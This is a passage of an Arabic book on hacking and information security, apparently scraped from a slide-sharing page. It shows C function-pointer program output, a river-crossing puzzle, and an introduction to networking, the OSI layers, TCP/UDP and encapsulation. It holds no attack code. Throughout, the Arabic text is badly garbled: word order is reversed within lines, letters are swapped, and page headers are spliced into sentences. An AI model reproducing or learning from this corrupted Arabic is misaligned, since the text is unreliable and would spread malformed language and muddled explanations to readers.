‫الطريق‬ ‫َفس‬‫ن‬‫ب‬ ‫ا‬ َ‫هل‬ ‫ة‬ . :‫النتائج‬ ‫ُشاذد‬‫ن‬‫ل‬ reader@hacking:~/booksrc $ gcc funcptr_example.c reader@hacking:~/booksrc $ ./a.out function_ptr is 0x08048374 This is function one value returned was 1 function_ptr is 0x0804838d This is function two value returned was 2 reader@hacking:~/booksrc $ ‫ح‬ُ‫أ‬ ‫ئك‬‫ذن‬ُ‫أ‬ ‫أن‬ ُ ‫ب‬ .. ‫ل‬ َ ‫وصلت‬ ‫د‬َ‫ق‬ ‫لىل‬ ‫هناية‬ ‫الباب‬ ‫األول‬ .. ُ‫ه‬‫لن‬ ‫لنجاز‬ ‫ع‬‫رائ‬ ! .. َ ‫ك‬َ‫ل‬ ‫م‬‫قد‬ُ‫أ‬ ‫دعني‬ ُ‫م‬ ‫كاقأ‬ ‫ة‬  .
  • 99.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [99] ‫ي‬ ‫أغنام‬ ‫راعي‬ ‫لدينا‬ ،‫ب‬‫ش‬ُ‫ع‬‫ال‬ ‫وبعض‬ ،‫وماعز‬ ،‫ذئب‬ ‫متلك‬ ‫الثالث‬ ‫وذم‬ ‫ة‬ ‫العبور‬ ‫يريدون‬ ،‫النهر‬ ‫أمام‬ ‫الصورة‬ ‫يف‬ ‫كام‬ ‫يقفوا‬ .‫األطرى‬ ‫للجهة‬ ‫مكنه‬ُ‫ي‬ ‫صغري‬ ‫قارب‬ ‫لديه‬ ‫الراعي‬ ‫ذذا‬ .!‫مراحل‬ ‫دة‬‫ع‬ ‫عىل‬ ‫ون‬ ُ ‫سيعرب‬ ‫أهنم‬ ‫يعني‬ ‫ُما‬ ،!‫العبور‬ ‫أثناء‬ ‫معه‬ ‫واحد‬ ‫يشء‬ ‫أطذ‬ ‫ققط‬ ‫ترك‬ ً‫ا‬‫أيض‬ ‫فرتض‬ُ‫ي‬ ‫ال‬ ‫الوقت‬ ‫نفس‬ ‫ويف‬ ،!‫ُلها‬‫ك‬‫يأ‬ ‫أن‬ ‫توقع‬ُ‫مل‬‫ا‬ ‫من‬ ُ ‫حيث‬ ‫املاعز‬ ‫مع‬ ‫الذئب‬ ‫ترك‬ ‫فرتض‬ُ‫ي‬ ‫ال‬ ،!‫انتبه‬ ‫ولكن‬ ..!‫تلتهمه‬ ‫أن‬ ً‫ا‬‫أيض‬ ‫توقع‬ُ‫مل‬‫ا‬ ‫من‬ ُ ‫حيث‬ ‫العشب‬ ‫مع‬ ‫وحدذا‬ ‫املاعز‬ ‫بن‬ ‫سنقوم‬ ‫قكيف‬ ‫النهر؟‬ ‫من‬ ‫األطرى‬ ‫اجلهة‬ ‫لىل‬ ‫الثالثة‬ ‫قل‬
  • 100.
  • 101.
    ‫المعلومات‬‫وأمن‬ ‫اإللكترونيه‬‫القرصنة‬ Understanding Hackingand Information Security [101] :!‫اللغز‬ ‫ذذا‬ ‫ل‬‫حل‬ ‫أقكار‬ ‫ن‬‫م‬ ‫نا‬َ‫ل‬ ‫دمته‬َ‫ق‬ ‫ما‬ ‫بار‬‫اطت‬‫ب‬ ‫َقوم‬‫ن‬‫ل‬ ‫ذيا‬ ‫واآلن‬
  • 102.
  • 103.
  • 104.
  • 105.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [105] Introduction ‫ي‬ :‫الكريم‬ ‫كتابه‬ ‫يف‬ ‫تعاىل‬ ‫اهلل‬ ‫قول‬ ﴿ ‫وجعلناك‬ ً‫ا‬‫شعوب‬ ‫م‬ ‫وقبائ‬ ‫تعارقوا‬‫ل‬ َ ‫ل‬ ﴾ .. ‫خت‬ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬ ‫ذل‬ ‫ما‬ ٍ‫جزيرة‬ ‫يف‬ ً‫ا‬‫وحيد‬ ‫يعيش‬ ‫شخص‬ ‫يل‬ ‫ما‬ ٍ‫بلد‬ ‫يف‬ ‫يعيش‬ ‫وذو‬ ‫ذاته‬ ‫الشخص‬ ‫ختيل‬ ‫م‬ُ‫ث‬ ،!‫ذة‬ ُ ‫رب‬‫ل‬ ‫ذلك‬ ‫ختيل‬ ، ‫أو‬ ‫اجتامعية‬ ‫كانت‬ ً‫ء‬‫سوا‬ ‫ُمتلفة‬ ‫بمعامالت‬ ‫يقوم‬ ،‫يومي‬ ‫بشكل‬ ‫منهم‬ ‫الكثري‬ ‫مع‬ ‫يتواصل‬ ،!‫لغته‬ ‫نفس‬ ‫يتكلمون‬ ‫برش‬ ‫مع‬ ‫قكال‬ ،‫بسيط‬ ‫الفرق‬ .‫مادية‬ ‫الشخص‬ ‫ذو‬ ‫األول‬ ‫أن‬ ‫غري‬ ،!‫واحد‬ ‫الشخصني‬ " at rest ،" ‫ولكن‬ ‫الشخص‬ ‫نفس‬ ‫ذو‬ ‫والثاين‬ " in dynamic .." ‫ذذ‬ ‫بسبب‬ ‫وينمو‬ ‫ل‬َ‫م‬‫َكا‬‫ت‬َ‫ي‬‫س‬ ‫الثاين‬ ‫قالشخص‬ ،‫الكثري‬ ُ‫ه‬‫ل‬ ُ ‫ُضيف‬‫ت‬ َ ‫س‬ ‫الديناميكية‬ ‫ذذه‬ ‫التواصل‬ ‫ا‬ ‫اآلطرين‬ ‫عىل‬ ‫واالنفتاح‬ ‫ال‬ ‫ذدية‬ ‫لهنا‬ .. (Networking) ‫حت‬ ‫دون‬ ‫حمله‬ ‫سيظل‬ ‫اآلطر‬ ‫بينام‬ ،‫له‬ ‫لعلك‬ ،!‫تطوير‬ ‫أو‬ ‫ديث‬ ‫عام‬ ‫يف‬ ‫انتاجه‬ ‫تم‬ ‫قيلم‬ ‫شاذدت‬ 2007 ‫اسمه‬ “into the wild” ‫احليا‬ ‫ترك‬ ‫شاب‬ ‫قصة‬ ‫حيكي‬ ‫حيث‬ ‫ة‬ ‫وذذب‬ ‫االجتامعية‬ ‫غابات‬ ‫اىل‬ " ‫أالسكا‬ " ‫امل‬ ‫مرض‬ ‫أصابه‬ ‫أن‬ ‫وبعد‬ ‫النهاية‬ ‫ويف‬ ..‫الناس‬ ‫عن‬ ‫بمعزل‬ ‫وحده‬ ‫ليعيش‬ ً‫ا‬‫وحيد‬ ‫حينها‬ ‫وكان‬ ،‫وت‬ ‫الغاب‬ ‫يف‬ ‫ة‬ ‫عبار‬ ‫آطر‬ ‫بتدوين‬ ‫قام‬ ، ‫ة‬ ‫ق‬ ‫له‬ :‫الرحيل‬ ‫بل‬ “Happiness within shared” ‫احليا‬ ‫وقارق‬ ً‫ال‬‫قلي‬ ‫اضجع‬ ‫ثم‬ ‫ة‬ .!‫مسكني‬ ً‫قتى‬ ‫من‬ ُ‫ه‬‫يال‬ . ‫احليا‬ ‫يف‬ ‫وقاعليتهم‬ ‫طرباهتم‬ ‫من‬ ‫وتزيد‬ ‫الناس‬ ‫بني‬ ‫التعامالت‬ ‫بإثراء‬ ‫اللغات‬ ‫تقوم‬ ‫ثلام‬‫م‬َ‫ق‬ ‫ة‬ ‫عىل‬ ‫ذلك‬ ‫لسقاط‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ ً‫ا‬‫أيض‬ ، ‫تصفح‬ُ‫مل‬‫ا‬ ‫مثل‬ ‫بسيط‬ ‫برنامج‬ (browser) ، ‫بدون‬ ‫قيمته‬ ‫ما‬ ‫يتمكن‬ ‫أن‬ ‫بمجرد‬ ‫ولكن‬ ،!‫حينها‬ ‫أحد‬ ُ‫ه‬‫ستخدم‬َ‫ي‬ ‫لن‬ ‫انرتنت؟‬ ‫ال‬ ‫مع‬ ‫التواصل‬ ‫من‬ ‫اليشء‬ ‫ذذا‬ web servers ‫املختلف‬ ‫اإلتصال‬ ‫بروتوكوالت‬ ‫باستخدام‬ ‫مكان‬ ‫كل‬ ‫يف‬ ‫ة‬ ‫ستظهر‬ ‫حينها‬ .. ‫احلقيقي‬ ُ‫ه‬‫قيمت‬ ‫ة‬ .‫كذلك؟‬ ‫أليس‬ .!
  • 106.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [106] ‫ال‬ ‫من‬ ‫العديد‬ ‫أن‬ ‫املعروف‬ ‫من‬ Applications ‫عىل‬ ‫تعتمد‬ ‫تتمكن‬ ‫كي‬ ‫الشبكات‬ ‫بيئة‬ ‫من‬ ‫لىل‬ ‫طدماهتا‬ ‫ليصال‬ ‫ال‬ end users ، ‫ال‬ ‫ذذه‬ ‫عليها‬ ‫تعتمد‬ ‫التي‬ ‫الربوتوكوالت‬ ‫أنواع‬ ‫ختتلف‬ ‫ربام‬ applications ‫ولكن‬ ‫ت‬ ‫النهاية‬ ‫يف‬ ‫بقى‬ ‫ال‬ ‫سامت‬ ‫العام‬ ‫ة‬ ‫املشرتك‬ ‫ة‬ ‫يف‬ ‫الربوتوكوالت‬ ‫هلذه‬ !‫للبيانات‬ ‫نقلها‬ ‫آليات‬ " transport methods ." ‫ال‬ ‫أساسيات‬ ‫برشح‬ ‫اهلل‬ ‫لنشاء‬ ‫الباب‬ ‫ذذا‬ ‫يف‬ ‫سنقوم‬ ‫ال‬ ‫لىل‬ ‫اإلنتقال‬ ّ‫م‬ُ‫ث‬ ،‫وبروتوكوالهتا‬ ‫شبكات‬ " Sockets ،" ‫لتوضيح‬ ‫و‬ ،‫ماذيتها‬ ‫ال‬ ‫لغة‬ ‫يف‬ ‫واستخدامها‬ ‫لنشائها‬ ‫كيفية‬ C . ..‫بنا‬ ‫ذيا‬
  • 107.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [107] The OSI Model ‫ال‬ ‫ذذا‬ ‫يقوم‬ OSI Model ‫ال‬ ‫بتقسيم‬ Network Communications Process ‫طبقات‬ ‫لىل‬ (Layers) . ‫أداء‬ ‫يف‬ ‫بعضها‬ ‫عىل‬ ‫تعتمد‬ ‫الطبقات‬ ‫ذذه‬ ‫الوظيف‬ ‫ة‬ ‫ما‬ ٍ‫طبقة‬ ‫أن‬ ‫قرضنا‬ ‫لذا‬ ً‫ال‬‫قمث‬ ،! ‫ال‬ ‫ولتكن‬ Transport Layer ، ‫ال‬ ‫لىل‬ ‫رسالة‬ ‫ليصال‬ ‫ذي‬ ‫وظيفتها‬ Destination ، ‫وبالنظر‬ .‫اإلرسال‬ ‫بإعادة‬ ‫قستقوم‬ ‫ل‬‫َص‬‫ت‬ َ‫مل‬ ‫ولذا‬ ،‫ت‬َ‫ل‬ َ ‫ص‬َ‫و‬ ‫الرسالة‬ ‫أن‬ ‫ن‬‫م‬ ‫التأكد‬ ‫مع‬ ‫ال‬ ‫ذذه‬ ‫لىل‬ Service ‫تسري‬ ‫أهنا‬ ‫د‬‫َج‬‫ن‬ َ ‫س‬ ‫الطبقة‬ ‫ذذه‬ ‫من‬ ‫مة‬‫د‬ُ‫ق‬ُ‫مل‬‫ا‬ :‫كاآليت‬ ‫ال‬ ‫وذي‬ ‫نها‬‫م‬ ‫أسفل‬ ‫تقع‬ ‫التي‬ ‫الطبقة‬ Network Layer ، ‫م‬ِّ‫د‬ً‫ق‬ُ‫ت‬ Service ً‫ا‬‫أيض‬ ‫ال‬ ‫من‬ ‫الرسالة‬ ‫ل‬ َ ‫مح‬ ‫وذي‬ Source ‫ال‬ ‫لىل‬ Destination ‫ال‬ ‫بإيصال‬ ‫ستقوم‬ ،‫ققط‬ Packet ‫ولعالم‬ ‫الوصول‬ ‫ن‬‫م‬ ‫ُد‬‫ك‬‫التأ‬ ‫عملية‬ ‫لجراء‬ ‫بدون‬ ،‫آطر‬ ‫كان‬َ‫م‬ ‫لىل‬ ‫كان‬َ‫م‬ ‫ن‬‫م‬ ‫ال‬ Source ، ‫يف‬ ‫اإلرسال‬ ‫لعادة‬ ‫أو‬ ‫التي‬ ‫قة‬َ‫ب‬َ‫ط‬‫ال‬ ‫ظيفة‬َ‫و‬ ‫ه‬‫ذ‬َ‫ه‬َ‫ق‬ ،‫لل‬ َ ‫ط‬ ‫دوث‬ ُ‫ح‬ ‫حال‬ .!‫َعلوذا‬‫ت‬ ‫ال‬ ‫د‬‫َم‬‫ت‬‫َع‬‫ت‬ ‫وبالتايل‬ ( Layer 4 ) ‫ال‬ ‫عىل‬ ( Layer 3 ) َ‫د‬ َ ‫ط‬ ‫تقديم‬ ‫يف‬ ‫ا‬‫ماهت‬ ..‫ل‬‫ث‬‫وبامل‬ ، ‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ ( Layer 3 ) ‫ال‬ ‫عىل‬ ‫د‬‫َم‬‫ت‬‫َع‬‫ت‬ َ ‫س‬ ( Layer 2 ) ‫ال‬ ‫ليصال‬ ‫لية‬َ‫م‬َ‫ع‬ ‫لكامل‬ ‫يف‬ packet ..‫ر‬ َ ‫اآلط‬ ‫ف‬ َ‫ر‬َ‫ط‬‫ال‬ ‫لىل‬ ‫علي‬ ‫ق‬‫ُطل‬‫ن‬ ‫ما‬ ‫وذذا‬ ‫بال‬ ‫ه‬ “Service Block”
  • 108.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [108] ‫ال‬ ‫ذذا‬ ‫ما‬ “Service Block” ‫؟‬.. .‫طدماهتا‬ ‫أداء‬ ‫يف‬ ‫البعض‬ ‫بعضها‬ ‫عىل‬ ‫الطبقات‬ ‫بني‬ ‫اإلعتامدية‬ ُ‫ه‬‫لن‬ :‫ة‬َ‫ع‬‫ب‬ َ‫الس‬ ‫قات‬َ‫ب‬َ‫ط‬‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫ن‬َ‫ع‬ ‫عامة‬ ‫كرة‬‫ق‬ ‫ذ‬ ُ ‫نأط‬ َ ‫س‬ ..‫واآلن‬ Application Layer ‫لل‬ ‫َظهر‬‫ت‬ ‫التي‬ ‫الطبقة‬ ‫ذذه‬ end user ‫ال‬ ‫يف‬ ‫وتتمثل‬ Applications ‫بأنو‬ ‫ال‬ َ ‫َرب‬‫ت‬‫ُع‬‫ت‬ ‫قهي‬ ،‫اعها‬ Interface ‫مجيع‬ ‫وبني‬ ُ‫ه‬‫ين‬َ‫ب‬ ‫ختلف‬ُ‫مل‬‫ا‬ ‫الشبكات‬ ‫تعلقات‬ُ‫م‬ ‫ة‬ . ‫ال‬ ‫بروتوكول‬ ‫الطبقة‬ ‫ذذه‬ ‫يف‬ ‫يعمل‬ ً‫ال‬‫قمث‬ HTTP ‫الو‬ ‫صفحات‬ ‫عرض‬ ‫طلبات‬ ‫واستقبال‬ ‫لرسال‬ ‫عن‬ ‫املسؤول‬ ‫وذو‬ ‫ب‬ ‫الشهري‬ ‫الربوتوكول‬ ً‫ا‬‫أيض‬ ‫ِبا‬ ‫يعمل‬ ‫كام‬ ،‫تصفحك‬ُ‫م‬ ‫عىل‬ DNS ‫م‬ ‫عناوين‬ ‫برتمجة‬ ‫يقوم‬ ‫الذي‬ ‫وذو‬ ‫االنرتنت‬ ‫واقع‬ ‫ال‬ ‫من‬ " human-readable " ‫ال‬ ‫اىل‬ " 32-bit Network Address ،" ‫املواقع‬ ‫عناوين‬ ‫مجيع‬ ‫بياناته‬ ‫قواعد‬ ‫يف‬ ‫ن‬ ِّ‫َز‬ ُ ‫خي‬ ‫حيث‬ ‫وال‬ IP Addresses ‫ر‬‫ناظ‬ُ‫مل‬‫ا‬ ‫ة‬ ‫بطريقة‬ ‫ا‬ َ‫هل‬ " ‫مية‬ َ‫ر‬َ‫ذ‬ " ‫عدة‬ ‫يف‬ ‫موزعة‬ ‫ضخمة‬ ‫أجهزة‬ ‫ويف‬ ، ‫مواضع‬ .‫العامل‬ ‫حول‬ ‫ال‬ ‫عىل‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬ packet information ‫ذ‬ ‫يف‬ ‫ال‬ ‫ذه‬ Layer ‫بال‬ “Data or Message” . Presentation Layer ‫ال‬ ‫عرض‬ ‫عملية‬ ‫عن‬ ‫مسؤولة‬ ‫الطبقة‬ ‫ذذه‬ Data ‫ال‬ ‫طبقة‬ ‫لىل‬ ‫قرائتها‬ ‫يمكن‬ ‫بلغة‬ Application ، ‫الكفاءة‬ ‫عطيها‬ُ‫ي‬ ‫ا‬‫ُم‬ ‫ال‬ ‫تشفري‬ ‫قك‬ ‫أو‬ ‫تشفري‬‫ل‬ Data ، ‫تستطي‬ ‫أهنا‬ ‫لال‬ ،‫وقكه‬ ‫التشفري‬ ‫عمل‬ ‫ُها‬‫ن‬‫مك‬ُ‫ي‬ ‫التي‬ ‫الوحيدة‬ ‫الطبقة‬ ‫ت‬ َ‫ليس‬ ‫بذلك‬ ‫القيام‬ ‫ع‬ ‫ال‬ ‫ملتطلبات‬ ً‫ا‬‫تبع‬ Applications .
  • 109.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [109] Session Layer ‫ال‬ ‫بإدارة‬ ‫الطبقة‬ ‫ذذه‬ ‫تقوم‬ " Session " :‫الوظائف‬ ‫ِبذه‬ ‫تقوم‬ ‫قهي‬ ،‫األنظمة‬ ‫بني‬ ‫قتحها‬ ‫يتم‬ ‫التي‬ Establish, manage, and terminate the connection. ‫االتصال‬ ‫نوع‬ ‫سيكون‬ ‫لذا‬ ‫ما‬ ‫بتحديد‬ ‫تقوم‬ ً‫ا‬‫أيض‬ " Full-Duplex or Half ." ‫ال‬ ‫عملية‬ ً‫ا‬‫وأيض‬ Graceful Shutdown ‫قجأ‬ ‫االتصال‬ ‫قطع‬ ‫من‬ ً‫ال‬‫بد‬ ‫ة‬ Drop . Transport Layer ‫ال‬ ‫بنقل‬ ‫وظيفتها‬ ‫تتلخص‬ Msgs ‫ال‬ ‫بني‬ Applications . :‫باآليت‬ ‫تقوم‬ ‫قهي‬ " Transport the Application Layer’s Messages " ‫ال‬ ‫بني‬ (Application End points) ، ‫مع‬ ‫باالشرتاك‬ ‫بالطبع‬ ‫ال‬ ‫مها‬‫َخد‬‫ت‬‫س‬َ‫ي‬ ‫التي‬ ‫االتصال‬ ‫قنوات‬ ‫ق‬‫وغل‬ ‫ة‬َ‫ع‬َ‫ب‬‫تا‬ُ‫م‬‫و‬ ‫دء‬‫ب‬ ‫ن‬َ‫ع‬ ‫املسؤولة‬ َ‫ي‬‫قه‬ ..‫تليها‬ ‫التي‬ ‫الطبقات‬ Application ‫ذذه‬ .. ‫ُسمى‬‫ت‬ ‫القنوات‬ " Sockets " . ‫ال‬ ‫عناوين‬ ‫بإعطاء‬ ‫الطبقة‬ ‫ذذه‬ ً‫ا‬‫أيض‬ ‫تقوم‬ ‫ثم‬ " Destination End Point " ‫لىل‬ ‫ال‬ ( Layer 3 ) ‫كام‬ ‫الفعلية‬ ‫اإلرسال‬ ‫عملية‬ ‫تتم‬ ‫كي‬ ‫ال‬ ‫مثال‬ ‫يف‬ ‫لك‬ ‫أوضحت‬ Service Block . ‫األول‬ ،‫الربوتوكوالت‬ ‫أذم‬ ‫من‬ ‫نوعني‬ ‫الطبقة‬ ‫ذذه‬ ‫يف‬ ‫يعمل‬ ..‫املهم‬ TCP ‫والثاين‬ UDP . ‫قاألول‬ ‫ال‬ ‫بعملية‬ ‫يقوم‬ Transport ‫ال‬ ‫طدمة‬ ‫يقدم‬ ‫ولكن‬ Reliable Transfer ‫وصول‬ ‫لك‬ ‫سيضمن‬ ‫أنه‬ ‫بمعنى‬ ‫به‬ ‫لت‬‫رس‬ُ‫أ‬ ‫الذي‬ ‫الرتتيب‬ ‫وقق‬ ‫املرسلة‬ ‫الرسائل‬ “Connection Oriented” ، ‫أي‬ ‫اعرتضها‬ ‫ما‬ ‫لذا‬ ‫الرسالة‬ ‫لرسال‬ ‫ولعادة‬
  • 110.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [110] ‫ب‬ ‫يعمل‬ ‫حيث‬ ‫اليشء‬ ‫بعض‬ ‫بطيء‬ ‫قهو‬ ‫وبالتايل‬ .‫الوصول‬ ‫من‬ ‫مانع‬ Algorithm ‫الذي‬ ‫ج‬‫ربم‬ُ‫مل‬‫ا‬ ‫يقوم‬ ،ً‫ال‬‫قلي‬ ‫معقدة‬ ‫ال‬ ‫يصمم‬ Application ‫ال‬ ‫عىل‬ ‫سيعتمد‬ ‫كان‬ ‫لذا‬ ‫ما‬ ‫بتحديد‬ TCP ‫ال‬ ‫أم‬ UDP ‫ال‬ ‫ونوع‬ ‫لوظيفة‬ ً‫ا‬‫تبع‬ Application . ‫ال‬ ‫لىل‬ ‫نأيت‬ UDP ‫ال‬ ‫من‬ ً‫ا‬‫تعقيد‬ ‫أقل‬ ‫وذو‬ TCP ‫عليه‬ ‫طلق‬ُ‫ي‬ ‫وهلذا‬ ،‫ل‬‫كام‬ ‫بشكل‬ ‫التوصيل‬ ‫عملية‬ ‫لك‬ ‫يضمن‬ ‫لن‬ ‫حيث‬ “Connectionless Protocol” ‫رص‬ُ‫ف‬‫ال‬ ‫لنفسه‬ ‫عطي‬ُ‫ي‬‫ل‬ ‫وذلك‬ ‫ة‬ ‫ال‬ ‫قلص‬ُ‫ي‬ ‫بأن‬ Header ‫اخلا‬ ‫عملية‬ ‫تكون‬‫ل‬ ‫به‬ ‫ص‬ ‫ِسيع‬ ‫اإلرسال‬ ‫ة‬ . ‫ال‬ ‫عليه‬ ‫يعتمد‬ DNS ‫ال‬ ‫ألن‬ ،‫عمله‬ ‫يف‬ DNS ‫ال‬ ‫من‬ ‫عالي‬ ‫بُسعة‬ ‫تعمل‬ ‫أن‬ ‫البد‬ ‫التي‬ ‫ربوتوكوالت‬ ‫ة‬ .. ‫ال‬ ‫ي‬ّ‫م‬ َ ‫ُس‬‫ن‬ packet ‫نا‬ُ‫ذ‬ “Segment” . Network Layer ‫عليها‬ ‫الطبقة‬ ‫ذذه‬ Load ‫ال‬ ‫نقل‬ ‫بعملية‬ ‫تقوم‬ ‫قهي‬ ،!‫اليشء‬ ‫بعض‬ ‫كبري‬ " Network-Layer Packets " ‫من‬ host ‫آلطر‬ . ‫ال‬ ‫يقوم‬ ‫حيث‬ TCP ‫ال‬ ‫أو‬ UDP ‫ال‬ ‫بإمرار‬ " Transport-Layer Segment " ‫ال‬ ‫و‬ " Destination Address " ‫ذذه‬ ‫لىل‬ ‫الطبق‬ ‫ة‬ ‫ال‬ ‫رحلة‬ ‫ذنا‬ ‫من‬ ‫تبدأ‬ ‫ثم‬ ، Network Layer ‫عديد‬ ‫بشبكات‬ ً‫ا‬‫مرور‬ ‫ة‬ ‫ال‬ ‫لىل‬ ‫اإلنتهاء‬ ‫م‬ُ‫ث‬ ،‫مسريهتا‬ ‫أثناء‬ Destination ‫ال‬ ‫رقع‬ ‫ناك‬ُ‫ذ‬ ‫تم‬َ‫ي‬‫ل‬ Packet ‫ال‬ ‫طبقة‬ ‫لىل‬ Transport ‫اخلاص‬ ‫ة‬ ‫بال‬ Destination ‫قهي‬ . (The Network Layer) ‫من‬ ‫م‬‫َل‬‫ت‬‫َس‬‫ت‬ ‫ال‬ Transport Layer َ‫ه‬‫ج‬ ‫من‬ ‫ة‬ ‫ال‬ ‫لىل‬ ‫م‬ِّ‫ل‬ َ ‫ُس‬‫ت‬‫و‬ Transport Layer ‫ال‬ ‫ي‬ّ‫م‬ َ‫ُس‬‫ن‬ ..‫األطرى‬ ‫هة‬‫اجل‬ ‫يف‬ packet ‫الطبق‬ ‫ذذه‬ ‫يف‬ ‫ة‬ “Datagram” .
  • 111.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [111] Data-Link Layer ‫ال‬ ‫عرب‬ ‫البيانات‬ ‫نقل‬ ‫يف‬ ‫تخصصه‬ُ‫م‬ ‫الطبقة‬ ‫ذذه‬ Physical Network . ‫ال‬ ‫بتوقري‬ ‫القيام‬ ‫ها‬‫ف‬‫ظائ‬َ‫و‬ ‫ن‬‫م‬ Addressing Scheme ‫ال‬ :‫يقولون‬ ‫كام‬ ‫أو‬ ،‫الشبكة‬ ‫داطل‬ ‫بنفسها‬ ‫األجهزة‬ ‫تعريف‬‫ل‬ ‫م‬َ‫د‬‫َخ‬‫ت‬‫ُس‬‫ت‬ ‫تي‬ “Identifying Physical Devices” ‫ال‬ ‫مثل‬ MAC Address ‫وال‬ ‫لألجهزة‬ ‫عطى‬ُ‫مل‬‫ا‬ Servers ‫وتقوم‬ ،‫الشبكة‬ ‫داطل‬ ،‫األططاء‬ ‫كتصحيح‬ ‫الوظائف‬ ‫ببعض‬ ً‫ا‬‫أيض‬ " error correction and flow control ،" ‫هم‬ُ‫مل‬‫ا‬ ‫األدوار‬ ‫وبعض‬ ‫ة‬ ‫يف‬ ‫لدارة‬ ‫ال‬ ‫طبقة‬ ‫مستوى‬ ‫عىل‬ ‫اإلتصال‬ Data-Link :‫كامييل‬ Active, maintain, and deactivate data-link connections ‫ن‬‫م‬ ‫أمثلة‬ ..‫الطبقة‬ ‫ذذه‬ ‫داطل‬ ‫تعمل‬ ‫التي‬ ‫الربوتوكوالت‬ ‫بعض‬ ‫ال‬ Ethernet ‫وال‬ WiFi . ‫ال‬ ‫عىل‬ ‫ق‬َ‫ل‬‫ُط‬‫ن‬ packet ‫نا‬ُ‫ذ‬ “Frame” . Physical Layer ‫م‬ ‫تتعامل‬ ‫الطبقة‬ ‫ذذه‬ ‫ال‬ ‫ع‬ Row-bit Stream ، ‫ال‬ ‫توصيل‬‫ب‬ ‫تقوم‬ َ‫ي‬‫ه‬َ‫ق‬ Bits ‫من‬ node ‫والربوتوكوالت‬ ،‫طرى‬ُ‫أ‬ ‫لىل‬ ‫ال‬ ‫نوع‬ ‫عىل‬ ‫د‬‫َم‬‫ت‬‫َع‬‫ت‬ ‫نا‬ُ‫ذ‬ ‫ة‬َ‫م‬َ‫ستخد‬ُ‫مل‬‫ا‬ " Transmission Medium " .‫ة‬َ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫اخلاص‬ ‫اإلرسال‬ ‫بيعة‬َ‫ط‬ ‫ف‬‫َل‬‫ت‬ َ ‫خت‬ ً‫ال‬‫ث‬َ‫م‬َ‫ق‬ ‫ة‬ ‫ال‬‫ب‬ ( Twisted-Pair copper wire ) ‫ال‬ ‫ن‬َ‫ع‬ ( Fiber optics ) ‫وذكذ‬ .‫ا‬ ‫ال‬ packet ‫عبار‬ ‫ذنا‬ ‫ة‬ ‫عن‬ “Bits” ! .
  • 112.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [112] :‫نهم‬‫م‬ ً‫ال‬‫ك‬ ‫دور‬ ‫توضح‬ ‫التي‬ ‫الصورة‬ ‫ذذه‬ ‫معي‬ ‫الحظ‬ ‫انتقال‬ ‫عملية‬ ‫ح‬ ِّ ‫ُوض‬‫ت‬ ‫الصورة‬ message ‫من‬ client ‫لىل‬ server ‫غري‬ ،‫رشحناذا‬ ‫التي‬ ‫الطبقات‬ ‫باستخدام‬ ‫االنرتنت‬ ‫عرب‬ ‫يف‬ ‫أنه‬ ‫احل‬ ‫ال‬ ‫الة‬ ‫عامة‬ ‫واحد‬ ‫طبقة‬ ‫يف‬ ‫طبقات‬ ‫ثالث‬ ‫أول‬ ‫اطتزال‬ ‫يتم‬ ‫ة‬ ‫ا‬ ‫ذي‬ ‫ل‬ Application ‫الشكل‬ ‫يف‬ ‫نرى‬ ‫كام‬ : ‫نأيت‬ ‫مل‬ ‫ال‬ ‫واستقبال‬ ‫لرسال‬ ‫لية‬َ‫م‬َ‫ع‬ ّ ‫ُص‬ َ ‫خي‬ ‫فهوم‬ Data :
  • 113.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [113] ‫ال‬ ‫عىل‬ ‫بياناهتا‬ ‫بإضاقة‬ ‫طبقة‬ ‫كل‬ ‫تقوم‬ ‫اإلرسال‬ ‫عملية‬ ‫أثناء‬ Packet ‫ذيئة‬ ‫عىل‬ Header ، ‫الكلم‬ ‫تعني‬ ‫وكام‬ ‫ة‬ ‫قهي‬ ‫ل‬ِّ‫ث‬َ ُ‫مت‬ " Head " ‫رأس‬ ‫أو‬ ‫ال‬ ‫هلذه‬ Packet ‫نز‬ ‫قأثناء‬ ‫وبالتايل‬ ،‫هلا‬ ‫عنوان‬ ‫أو‬ ‫ال‬ ‫ول‬ packet ‫ذا‬َ‫ذ‬ ‫حجم‬ ‫زداد‬َ‫ي‬ ،‫أسفل‬ ‫لىل‬ ‫أعىل‬ ‫من‬ ‫ال‬ Header ‫اإلضاق‬ ‫ملية‬َ‫ع‬ ‫ب‬َ‫ب‬ َ ‫س‬‫ب‬ ‫ة‬ َ‫ق‬َ‫ب‬َ‫ط‬ ‫ُل‬‫ك‬ ‫ا‬‫ِب‬ ‫تقوم‬ ‫التي‬ ‫ة‬ (Appending its Header info) ، ‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫ن‬َ‫ع‬ ِّ ‫رب‬َ‫ع‬ُ‫ن‬ process :‫لح‬َ‫ط‬‫ص‬ُ‫مل‬‫ا‬‫ب‬ “Encapsulation” .. 